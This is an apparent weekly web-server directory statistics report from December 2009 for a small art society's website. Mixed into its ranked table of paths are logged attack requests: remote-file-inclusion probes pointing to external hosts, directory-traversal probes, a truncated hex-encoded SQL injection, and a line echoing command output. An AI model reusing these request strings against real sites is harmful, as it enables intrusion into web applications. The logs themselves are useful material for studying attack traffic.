Directories Report

Week of 12/13/2009 to 12/19/2009

/ : All Items

Rank Item Accesses % Bytes % Visits %
1 [ /graphics] 23,140 58.41 262,903,926 61.83 701 15.83
2 [ /season] 8,955 22.60 49,407,509 11.62 1,083 24.46
3 [ /Templates] 2,085 5.26 1,584,260 0.37 715 16.15
4 [ /webstats] 1,724 4.35 4,889,858 1.15 194 4.38
5 [ /stats] 1,247 3.15 3,845,255 0.90 126 2.85
6 / 1,056 2.67 19,077,779 4.49 900 20.33
7 [ /pdfs] 282 0.71 58,703,470 13.81 198 4.47
8 [ /?sIncPath=http:] 103 0.26 2,498,059 0.59 0 0.00
9 /SASregistration.htm 89 0.22 2,987,525 0.70 87 1.96
10 [ /?custompluginfile[]=http:] 84 0.21 2,037,252 0.48 0 0.00
11 /index.htm 80 0.20 1,697,710 0.40 77 1.74
12 [ /?_SERVER[DOCUMENT_ROOT]=http:] 79 0.20 1,915,987 0.45 0 0.00
13 [ /galleries] 77 0.19 61,674 0.01 16 0.36
14 /SAScontact.htm 75 0.19 1,159,320 0.27 74 1.67
15 /SASabout.htm 54 0.14 1,061,415 0.25 52 1.17
16 /SASfosas.htm 52 0.13 1,118,304 0.26 51 1.15
17 [ /?_zb_path=http:] 51 0.13 1,236,903 0.29 0 0.00
18 /SASgallery.htm 46 0.12 901,579 0.21 45 1.02
19 [ /?view=page&pagename=http:] 40 0.10 970,120 0.23 0 0.00
20 /SASscholarship.htm 34 0.09 590,031 0.14 34 0.77
21 /SASlinks.htm 33 0.08 431,948 0.10 32 0.72
22 [ /?mosConfig_absolute_path=http:] 30 0.08 727,590 0.17 0 0.00
23 /SASnewsletter.htm 30 0.08 491,942 0.12 30 0.68
24 [ ///season] 17 0.04 378,505 0.09 1 0.02
25 [ /?DOCUMENT_ROOT=http:] 7 0.02 169,771 0.04 0 0.00
26 [ /?_zb_path=..] 7 0.02 169,771 0.04 0 0.00
27 [ ///pdfs] 6 0.02 1,141,121 0.27 1 0.02
28 [ /?page=http:] 6 0.02 145,518 0.03 0 0.00
29 [ /?sourcedir=http:] 6 0.02 145,518 0.03 0 0.00
30 [ ///Templates] 5 0.01 4,356 0.00 2 0.05
31 [ //?_zb_path=http:] 5 0.01 121,265 0.03 0 0.00
32 [ /?GLOBALS[mosConfig_absolute_path]=http:] 5 0.01 121,265 0.03 0 0.00
33 [ /?option=com_joomlalib&task=&mosConfig_absolute_path=http:] 4 0.01 97,012 0.02 0 0.00
34 /?p=40148 4 0.01 48,506 0.01 0 0.00
35 /?> 3 0.01 48,506 0.01 0 0.00
36 [ /?ABSOLUTE_PATH_STUDIP=http:] 3 0.01 72,759 0.02 0 0.00
37 /?_ult_url_params=sec=srp&slk=web&cpos=&pos=1&concept=standa
rd&query=Sharon art studio&cbid=
3 0.01 72,759 0.02 0 0.00
38 [ /?baseDir=http:] 3 0.01 72,759 0.02 0 0.00
39 /?cfAC12041D=575E17F!bWVzYWM6emlvbnM6i7ZcyNvEXMSMCWBziJ1NnQ=
=
3 0.01 48,506 0.01 0 0.00
40 /?citysearch_profile_view=1&profile_id=41271045 3 0.01 72,759 0.02 0 0.00
41 [ /?custompluginfile=http:] 3 0.01 72,759 0.02 0 0.00
42 [ /?error=http:] 3 0.01 72,759 0.02 0 0.00
43 /?foiffs=in100fweg 3 0.01 72,759 0.02 0 0.00
44 /?id=http: 3 0.01 72,759 0.02 0 0.00
45 /?leisurelog.com 3 0.01 72,759 0.02 0 0.00
46 [ /?path[docroot]=http:] 3 0.01 72,759 0.02 0 0.00
47 [ /?site= bussnisshttp:] 3 0.01 72,759 0.02 0 0.00
48 [ /?sourcedir=..] 3 0.01 72,759 0.02 0 0.00
49 [ ///?_SERVER[DOCUMENT_ROOT]=http:] 2 0.01 48,506 0.01 0 0.00
50 [ /? view=page&pagename=http:] 2 0.01 48,506 0.01 0 0.00
51 /?';DECLARE 2 0.01 48,506 0.01 0 0.00
52 /?';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054
207661726368617228323535292C40432076617263686172283430303029
204445434C415245205461626C655F437572736F7220435552534F522046
4F522073656C65637420612E6E616D652C622E6E616D652066726F6D2073
79736F626A6563747320612C737973636F6C756D6E732
2 0.01 48,506 0.01 0 0.00
53 /?;DECLARE 2 0.01 48,506 0.01 0 0.00
54 [ /?_SERVER[DOCUMENT_ROOT]=..] 2 0.01 48,506 0.01 0 0.00
55 [ /?custompluginfile[]=..] 2 0.01 48,506 0.01 0 0.00
56 [ /?custompluginfile[]http:] 2 0.01 48,506 0.01 0 0.00
57 /?feed=rss2 2 0.01 48,506 0.01 0 0.00
58 [ /?id=http://CPE-144-131-145-199.static.nsw.bigpond.net.au] 2 0.01 48,506 0.01 0 0.00
59 [ /?language_id=http:] 2 0.01 48,506 0.01 0 0.00
60 /?menu_frame.html 2 0.01 48,506 0.01 0 0.00
61 [ /?mosConfig_absolute_path= http:] 2 0.01 48,506 0.01 0 0.00
62 [ /?option=com_content&task=&sectionid=&id=&mosConfig_absolute
_path=http:]
2 0.01 48,506 0.01 0 0.00
63 [ /?option=com_wrapper&Itemid=&mosConfig_absolute_path=http:] 2 0.01 48,506 0.01 0 0.00
64 /?path[docroot]= 2 0.01 48,506 0.01 0 0.00
65 /?php=http://www.nglschool.co.kr 2 0.01 48,506 0.01 0 0.00
66 [ /?sIncPath= powered 2009http:] 2 0.01 48,506 0.01 0 0.00
67 /?tp=1 2 0.01 48,506 0.01 0 0.00
68 [ /?zb_path=http:] 2 0.01 48,506 0.01 0 0.00
69 ///SASabout.htm 1 0.00 23,587 0.01 1 0.02
70 ///SAScontact.htm 1 0.00 19,322 0.00 1 0.02
71 ///SASfosas.htm 1 0.00 25,416 0.01 1 0.02
72 ///SASgallery.htm 1 0.00 24,367 0.01 1 0.02
73 ///SASlinks.htm 1 0.00 19,634 0.00 1 0.02
74 ///SASnewsletter.htm 1 0.00 22,361 0.01 1 0.02
75 ///SASregistration.htm 1 0.00 40,925 0.01 1 0.02
76 ///SASscholarship.htm 1 0.00 21,853 0.01 1 0.02
77 ///index.htm 1 0.00 24,253 0.01 1 0.02
78 [ //?view=page&pagename=http:] 1 0.00 24,253 0.01 0 0.00
79 /?;DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C4152452040542
07661726368617228323535292C404320766172636861722834303030292
04445434C415245205461626C655F437572736F7220435552534F5220464
F522073656C65637420612E6E616D652C622E6E616D652066726F6D20737
9736F626A6563747320612C737973636F6C756D6E732
1 0.00 24,253 0.01 0 0.00
80 /?;DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C4152452040542
07661726368617228323535292C404320766172636861722834303030292
04445434C415245205461626C655F437572736F7220435552534F5220464
F522073656C65637420612E6E616D652C622E6E616D652066726F6D20737
9736F626A6563747320612C737973636F6C756D6E732@S);
1 0.00 24,253 0.01 0 0.00
81 [ /?cmd&file=http:] 1 0.00 24,253 0.01 0 0.00
82 [ /?mosConfig_absolute_path=..] 1 0.00 24,253 0.01 0 0.00
83 [ /?path[docroot]= http:] 1 0.00 24,253 0.01 0 0.00
84 /?sIncPath=uid=1512(z71584) gid=106(hosting) groups=106(host
ing)
1 0.00 24,253 0.01 0 0.00
85 [ /?sincpath=http:] 1 0.00 24,253 0.01 0 0.00
86 [ /?view=page&pagename= http:] 1 0.00 24,253 0.01 0 0.00